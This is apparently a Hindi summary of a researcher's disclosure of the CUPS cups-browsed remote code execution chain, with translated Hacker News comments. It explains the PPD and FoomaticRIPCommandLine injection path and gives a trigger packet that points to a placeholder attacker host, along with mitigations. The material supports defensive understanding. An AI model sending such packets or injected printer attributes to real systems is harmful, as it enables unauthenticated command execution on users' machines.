CUPS के जरिए UNIX सिस्टम पर हमला
(evilsocket.net)- CUPS का printer auto-discovery path जब IPP attributes की validation की कमी से जुड़ता है, तो remote unauthenticated attacker malicious printer settings inject कर सकता है और printing के समय arbitrary command execution तक करवा सकता है
- हमले की शुरुआत
cups-browsedके उस व्यवहार से होती है जिसमें वह UDP port 631 पर arbitrary source packets स्वीकार करता है और attacker URL परGet-Printer-AttributesIPP request भेजता है - कमजोरियां CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177 में बंटी हैं, और
libcupsfilters,libppd,cups-filtersमें PPD generation से लेकरfoomatic-ripexecution flow तक जुड़ती हैं - impact scope में अधिकतर GNU/Linux distributions, कुछ BSD, Oracle Solaris, और Chromium/ChromeOS की संभावना तक शामिल हैं; public IPv4 scans में लाखों devices के callbacks और अधिकतम 2 लाख~3 लाख concurrent clients देखे गए
- practical mitigation के लिए गैर-जरूरी
cups-browsedको disable/delete करना और CUPS packages update करना चाहिए; update मुश्किल हो तो UDP 631 और जरूरत पड़ने पर DNS-SD traffic block करने पर विचार करना चाहिए
vulnerability chain का core
- यह chain CUPS के printer auto-discovery feature से शुरू होकर IPP attribute handling, PPD file generation और filter execution तक जाती है
- मुख्य कमजोरियां चार stages में एक-दूसरे से जुड़ती हैं
- CVE-2024-47176:
cups-browsed2.0.1 और उससे नीचेUDP INADDR_ANY:631पर bind करता है, arbitrary sources के packets पर भरोसा करके attacker-controlled URL परGet-Printer-AttributesIPP request trigger करता है - CVE-2024-47076:
libcupsfilters2.1b1 और उससे नीचे काcfGetPrinterAttributes5IPP server से मिले attributes को validate/sanitize किए बिना CUPS system को pass कर देता है - CVE-2024-47175:
libppd2.1b1 और उससे नीचे काppdCreatePPDFromIPP2IPP attributes को validate/sanitize किए बिना temporary PPD file में लिखता है, जिससे attacker-controlled data insertion संभव होता है - CVE-2024-47177:
cups-filters2.0.1 और उससे नीचे काfoomatic-ripPPD केFoomaticRIPCommandLineparameter के जरिए arbitrary command execution की अनुमति देता है
- CVE-2024-47176:
attack entry point और impact scope
- remote unauthenticated attacker मौजूदा printer का IPP URL चुपचाप malicious URL में बदल सकता है या नया printer install करवा सकता है
- वास्तविक command execution उस computer पर print job शुरू होने पर होता है
- entry points दो हैं
- WAN / public internet: remote attacker
UDP 631port पर packet भेजता है और authentication की जरूरत नहीं होती - LAN: local attacker zeroconf, mDNS, DNS-SD advertisements spoof करके उसी code path से RCE तक पहुंच सकता है
- WAN / public internet: remote attacker
- CUPS और
cups-browsedकई UNIX-like systems में packaged हैं- अधिकतर GNU/Linux distributions
- कुछ BSD
- Google Chromium / ChromeOS की संभावना
- Oracle Solaris
- public internet के पूरे IPv4 range को कुछ हफ्तों तक दिन में कई बार scan करने पर, UDP packet भेजने के बाद लाखों devices ने callback किया और अधिकतम 2 लाख~3 लाख concurrent clients का peak देखा गया
cups-browsed द्वारा खुला छोड़ा गया रास्ता
- Ubuntu laptop पर
netstat -anuचलाते समय0.0.0.0:631पर listening UDP port मिला lsof -i :631से जांचने पर TCP 631cupsdऔर UDP 631cups-browsedइस्तेमाल कर रहे थेps auxमेंcups-browsedprocess root के रूप में चलती दिखाई दीcups-browsedCUPS system का हिस्सा है और नए printers खोजकर उन्हें automatically system में add करने का काम करता है- source code देखने पर service
INADDR_ANY:631 UDPपर bind थी औरHEX_NUMBER HEX_NUMBER TEXT_DATAformat के UDP packets expect करती थी - default configuration file ज्यादातर commented रहने पर access restrictions व्यवहार में कमजोर हो जाती हैं
parsing issue और अतिरिक्त bugs
- CUPS package खुद oss-fuzz में शामिल है, लेकिन
cups-browsedपर fuzzing coverage नहीं दिखती process_browse_dataके आसपास AFL-based fuzzing target बनाने पर 5 inputs ने stack-buffer-overflow trigger किया- कारण के तौर पर ऐसा flow बताया गया जिसमें दो loops में termination condition check करने से पहले pointer dereference होता है
- बाद में locking handling point पर race condition और संभावित DoS भी मिला
- ये issues developers और CERT को report किए गए थे, लेकिन researcher के हिसाब से उन्हें acknowledge या patch नहीं किया गया था
IPP request और PPD injection
found_cups_printerUDP packet से parse किए गए text fields में से एक को URL के रूप में process करता है- यह URL और related data
examine_discovered_printer_record,create_remote_printer_entryflow से होकरlibcupsfiltersकेcfGetPrinterAttributescall तक जाते हैं - अगर attacker
0 3 http://<ATTACKER-IP>:<PORT>/printers/whateverformat का packet भेजता है, तो targetcups-browsedattacker URL से connect करता है - connection के समय User-Agent header में kernel version और architecture शामिल थे, और कुछ requests में target username भी report हुआ
- Internet Printing Protocol client और printer या print server के बीच communication protocol है, जिसका इस्तेमाल printer status query और print jobs submit करने आदि में होता है
- target system attacker server को printer मानता है और HTTP के अंदर encapsulated
Get-Printer-Attributesrequest भेजता है - ippserver python package का इस्तेमाल करके controllable attributes के साथ response देने पर, fake printer user notification के बिना local printers में add हो गया
PPD और foomatic-rip execution path
- debug logs में printer queue creation, temporary PPD file creation, PPD usage और editing process दिखाई दिया
create_queuefunction IPP attributes कोlibppdकेppdCreatePPDFromIPP2API में pass करता हैppdCreatePPDFromIPP2attacker-controlled text attributes जैसेprinter-make-and-modelको validation/escaping के बिना PPD file में लिखता है- PostScript Printer Description file एक text file है जो printer features और capabilities describe करती है, और CUPS में printer features और usage specify करने का काम करती है
- PPD के कई directives में से CUPS extension
cupsFilter2print job के समय/usr/lib/cups/filterके नीचे executable files को filter के रूप में चला सकता है foomatic-ripको ऐसा filter माना जाता है जो PPD केFoomaticRIPCommandLinedirective के जरिए command execute कर सकता है- पुराने
foomatic-filtersमें CVE-2011-2964 और CVE-2011-2697 से जुड़ी fixes थीं, लेकिन confirm हुआ कि CUPS integration के दौरान वे fixes port नहीं हुईं - अधिक हालिया CVE-2024-35235 में भी
FoomaticRIPCommandLineके जरिए arbitrary command execution का उल्लेख है - CUPS developers के explanation के अनुसार,
FoomaticRIPCommandLineमें क्या दिया जा सकता है इसे existing drivers तोड़े बिना restrict करना बहुत मुश्किल है, और 2010 से पहले के सैकड़ों पुराने printer models सिर्फ Foomatic पर निर्भर हो सकते हैं
RCE reproduction flow
- RCE chain तीन stages से बनती है
- target system को attacker के malicious IPP server से connect करवाना
- attacker-controlled IPP attribute string लौटाकर temporary PPD file में directives inject करना
- fake printer को print job भेजे जाने पर PPD directives और commands execute होना
- IPP server setting में PPD string close करके new line insert करने और फिर
FoomaticRIPCommandLineऔरcupsFilter2directives डालने के तरीके से command execution configure किया गया - demo target पूरी तरह patched
Ubuntu 24.04.1 LTSऔरcups-browsed 2.0.1था, और attacker machine से command execution हासिल हुआ - यह flow तब成立 होता है जब
cups-browsed,libcupsfilters,libppd,cups-filtersकी कई processing stages साथ में जुड़ती हैं
mitigation और recommendations
- अगर
cups-browsedकी जरूरत नहीं है, तो service को disable करके remove करना recommended है - system के CUPS packages update करने चाहिए
- अगर update नहीं कर सकते और service जरूरी है, तो
UDP 631traffic block करना चाहिए - स्थिति के अनुसार DNS-SD traffic भी block किया जा सकता है, लेकिन zeroconf use करने वाले environments में इसे apply करना मुश्किल हो सकता है
- researcher ने personal recommendation के रूप में कहा कि वे अपने system से CUPS services, binaries और libraries remove करेंगे और UNIX systems से print नहीं करेंगे
- उन्होंने zeroconf, Avahi, Bonjour listeners भी remove करने की बात जोड़ी
disclosure process और follow-up work
- research में खुद कुछ दिन लगे, लेकिन 5 सितंबर को OpenPrinting
cups-browsedrepository में security advisory खोलकर responsible disclosure शुरू करने के बाद public disclosure तक 22 दिन लगे - संबंधित discussions
cups-browsed,libcupsfilters,libppd,cups-filterssecurity advisories तक गईं - research में 2 दिन, working exploit में 249 lines लगीं, और disclosure process में debates, emails, messages और 100 pages से ज्यादा text का आदान-प्रदान हुआ
- 9.9 CVSS score controversy के बारे में बताया गया कि शुरुआती 9.9 score VINCE report में RedHat engineer ने estimate किया था और दूसरे engineer ने review किया था
- researcher का मानना है कि RCE आसानी से exploit हो सकता है और package की presence व्यापक है, इसलिए शुरुआती 9.9 आया, लेकिन impact के लिहाज से वे खुद इसे 9.9 classify नहीं करेंगे
- उन्होंने बताया कि सिर्फ CERT VINCE के साथ share की गई exact Markdown report और exploit leak हो गए
- शुरुआती
exploit.pyसिर्फ UDP packet भेजता था और malicious IPP server बनाता था, लेकिन बाद में zeroconf advertisement feature जोड़कर tool के रूप में विकसित हुआ - बाद में इसे Go में फिर से लिखा गया और bettercap में integrate किया गया; इसमें LAN में zeroconf, Bonjour, Avahi से advertised services को transparently impersonate करने की functionality और IPP-related handling जोड़ी गई
- अगला लेख अभी public न किए गए bettercap module से Apple macOS पर हमला करने के बारे में होगा, और schedule अन्य disclosure procedures के कारण तय नहीं है
1 टिप्पणियां
Hacker News की रायें
मुझे लगा यह मज़ाक है। बात यह है कि “एक remote unauthenticated attacker मौजूदा printer का IPP URL किसी malicious URL में बदल सकता है या नया install कर सकता है, जिससे उस computer पर print job शुरू होने पर arbitrary command execution संभव हो जाता है”; लेकिन Heartbleed 7.5 था, तो यह 9.9 हो ही नहीं सकता लगता
मूल tweet में “सभी GNU/Linux systems आदि पर unauthenticated remote code execution” कहा गया था, लेकिन असल में कई distributions में CUPS सिर्फ loopback पर bind होता है या installed ही नहीं होता
यह भी कहा गया कि उन्होंने कई हफ्तों तक दिन में कई बार पूरे public IPv4 को scan किया और लाखों devices से callbacks मिले। अगर मेरी समझ सही है, तो इसका मतलब पूरे public IPv4 पर खुले CUPS instances लगभग 3 लाख थे, और remote code execution होने के लिए उस CUPS server को print job मिलनी चाहिए, इसलिए ज़्यादातर मामलों में ऐसा शायद नहीं होगा
cups-browseddaemon को खत्म ही होना चाहिए और Linux ecosystem को CUPS के भविष्य पर गंभीरता से चर्चा करनी चाहिएBugs हैरान करने वाली हद तक सरल लगते हैं, और आखिरकार यह काफी गंभीर security issue है, लेकिन default install होने वाले desktop Linux package के upstream response से जिस स्तर की उम्मीद होगी, वैसा नहीं है
फिर भी यह दुनिया रोक देने वाली CVSS 9.9 panic तो बिल्कुल नहीं है
सटीक रूप से कहें तो structure ऐसा है कि attacker द्वारा बदली गई printer settings तब execute होती हैं जब user अगली बार अपने printer से print करता है, और vulnerability cupsd में नहीं बल्कि cupsd-browser में है
लेखक के रवैये पर सवाल हो सकते हैं, लेकिन यह vulnerability खुद सच में बड़ी समस्या है
जो लोग CUPS को internet पर expose करते हैं, वे CVE की पहुंच से भी बाहर वाले स्तर पर बेपरवाह हैं
बेशक trigger करने के लिए user को कुछ print करना होगा, और personally मुझे नहीं लगता कि मैंने Linux पर कभी कुछ print किया है, लेकिन लाखों Linux machines से callbacks मिलने का दावा plausible है
कम से कम Linux laptop को airport Wi‑Fi जैसी जगहों पर बाकी सभी devices के लिए बहुत ज्यादा vulnerable नहीं हो जाना चाहिए
CVSSv3 के Scope metric को कैसे interpret करते हैं, इस पर निर्भर करते हुए ज़्यादा सही rating 8.8 या 9.6 लगती है
सार यह है कि कुछ desktop Linux variants में LAN पर exposed CUPS 0.0.0.0 पर चल रहा है, root के रूप में execute होता है, और unauthenticated remote code execution के लिए vulnerable है। Ubuntu Server या CentOS जैसे server-oriented Linux के ज़्यादातर मामलों में यह default service नहीं है, लेकिन ज़्यादातर desktop-family Linux में यह default रूप से start होती लगती है
remote code execution trigger करने के लिए vulnerable Linux machine के user को exploit के बाद कोई document print करना होगा
evilsocket ने कहा कि उसे लाखों callbacks मिले, और भले ही हममें से ज़्यादातर Linux पर शायद ही print करते हों, उस स्तर का impact बड़ा botnet बनाने के लिए काफी हो सकता है
मैंने cupsd को internet पर खुला रखा था, इसलिए news सुनकर थोड़ा panic हुआ, लेकिन यहां के title की तरह इस issue को भी कुछ हद तक गलत तरीके से communicate किया गया है। समस्या core cupsd में नहीं, बल्कि अलग package/component cups-browsed में है
Server के लिए इस्तेमाल होने वाला Gentoo Linux cups-browsed को अलग package के रूप में देता है, और मैंने इसे install नहीं किया था, इसलिए मैं affected नहीं हूं। जिन अधिकांश CUPS users ने यह additional package install नहीं किया है, वे भी इस bug से प्रभावित नहीं हैं
यह कहना कि CUPS चलाने वाला हर system hack हो सकता है, scale को गलत ढंग से बताना है
घर पर मैंने बस service बंद कर दी थी, लेकिन धीरे-धीरे अधिक software scope से बाहर जाते हुए उन components को भी जरूरी जैसा बना रहा है जिन्हें optional होना चाहिए, और यह काफी परेशान करने वाला है
ऐसा ही एक उदाहरण avahi-daemon है। Desktop Debian/Ubuntu में इसे remove करने की कोशिश करें तो संभव है कि avahi को strong dependency क्यों होना चाहिए, यह समझ न आने वाले दूसरे software भी साथ में हट जाएं
“आप जैसे security researcher को ‘सुनने लायक है, यह साबित करना चाहिए’ जैसी सोच रखने वाले triager की वजह से researchers से बहुत ज़्यादा उम्मीद की जाती है और उसे normal मान लिया जाता है” वाला हिस्सा समझ आता है, लेकिन एक दुखद हकीकत भी है
इस तरह की अच्छी तरह research की गई एक report के बदले bug bounty reward निकालने या resume में CVE खोजने का दावा जोड़ने की कोशिश करने वाली low-quality spam reports 57-57 आ जाती हैं। खासकर LLM बढ़ने के बाद ऐसा spam आसानी से धोखा दे सकता है
दुखद स्थिति है, लेकिन developers के skeptical होने का पूरा दोष उन पर डालना मुश्किल है
0: https://daniel.haxx.se/blog/2024/01/02/the-i-in-llm-stands-f...
संक्षेप में, cups-browsed UDP port 631 पर listen करते हुए user confirmation के बिना printer को auto-install कर सकता है
attacker इस “feature” का इस्तेमाल करके किसी arbitrary host से download किए जा सकने वाले custom driver वाला fake printer user confirmation के बिना install करता है, और print job भेजे जाने पर चलने वाली command specify करता है
user उस fake printer पर कुछ print करता है तो वह command execute हो जाती है
इस मामले में लगता है distributions ने cups-browsed को feature के तौर पर शामिल किया है, लेकिन Ubuntu/Debian और शायद सभी deb-based distributions में install के समय लगभग सभी services को अपने-आप start कर देना मुझे हमेशा गलत लगता है
इसका मतलब है कि आपने बस एक package install किया, लेकिन dependency के रूप में install हुई कोई दूसरी network service गलती से खुल सकती है
exim4 के बारे में तो पता ही होगा, लेकिन निष्पक्ष होकर कहें तो default में वह केवल localhost पर listen करता है, इसलिए शायद बड़ा मुद्दा नहीं है। अभी एक Debian machine पर cups-browsed install करके देखा, तो 0.0.0.0 पर listen करने वाली दो services (cups-browsed और avahi) चालू हो गईं
Arch/Gentoo और CentOS family distributions में ऐसा नहीं होता
Twitter पर डाले गए original CVSS score में लिखा था कि user interaction की जरूरत नहीं है। लेकिन page पर remote code execution chain पढ़ने पर लिखा है, “PPD directives और उनसे जुड़ी command execute हो सके, इसके लिए fake printer पर print job भेजे जाने का इंतज़ार करता है”
Alice print button नहीं दबाती तो print job trigger नहीं होगा, ऐसा लगता है; सोच रहा हूँ कि मैं क्या miss कर रहा हूँ। evilsocket पर शक नहीं कर रहा, बस अपनी समझ verify करना चाहता हूँ
MacOS पर जब भी कुछ print करना पड़ता है, मुझे फिर याद आ जाता है कि printers और printer-related software से मुझे कितनी चिढ़ है। मैं 40 साल से computers इस्तेमाल कर रहा हूँ, और सच में हर 10 साल में printers और ज्यादा सिरदर्द बनते जा रहे हैं
pdf2ps - | nc 9001